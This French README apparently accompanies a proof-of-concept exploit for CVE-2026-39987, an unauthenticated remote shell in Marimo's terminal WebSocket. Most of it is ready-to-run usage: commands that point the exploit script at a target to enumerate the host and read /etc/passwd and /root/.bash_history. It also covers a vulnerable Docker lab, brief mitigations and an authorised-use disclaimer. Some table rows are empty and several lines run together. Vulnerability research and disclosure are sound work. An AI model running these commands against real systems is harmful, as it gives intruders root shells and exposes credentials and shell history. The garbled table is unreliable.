
CVE-2026-39987
Exécution de code à distance non authentifiée dans Marimo via le terminal WebSocket
CVE-2026-39987 est une vulnérabilité critique d'exécution de code à distance sans authentification affectant les versions de Marimo antérieures à 0.23.0. Le point de terminaison WebSocket /terminal/ws contourne complètement l'authentification, permettant à tout attaquant non authentifié d'obtenir un shell PTY interactif complet avec les privilèges du processus Marimo (généralement root dans les environnements Docker).
| ID CVE | CVE-2026-39987 |
| Produit affecté | Marimo (Cahier Python réactif) |
| Versions affectées | marimo < 0.23.0 |
| Version corrigée | marimo >= 0.23.0 |
| | Réseau (non authentifié) |
| | |
| | Shell distant complet (PTY) en tant que root |
/terminal/wshttp:// → ws:// et https:// → wss://CVE-2026-39987/
├── CVE-2026-39987-poc.py ← Exploit principal
├── docker-vulnerable/
│ ├── Dockerfile
│ └── docker-compose.yml
├── notebooks/ ← Cahiers persistants (optionnel)
├── README.md
└── LICENSE
pip install websocket-client
# Utilisation de base
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && hostname"
# Énumération du système
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && cat /etc/os-release && ls -la /app"
# Lecture de fichiers sensibles
python3 CVE-2026-39987-poc.py http://target:2718 "cat /etc/passwd && cat /root/.bash_history"
cd docker-vulnerable
docker compose up --build -d
Puis testez :
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami"
marimo >= 0.23.0/terminal/ws via le pare-feu ou les règles du proxyCette preuve de concept est destinée à des fins éducatives et uniquement à des tests de sécurité autorisés. L'auteur n'est pas responsable de toute mauvaise utilisation ou des dommages causés par cet outil. Assurez-vous d'obtenir une autorisation explicite avant de tester tout système. Utilisez de manière éthique et responsable.
Réalisé pour la recherche en sécurité et la divulgation responsable.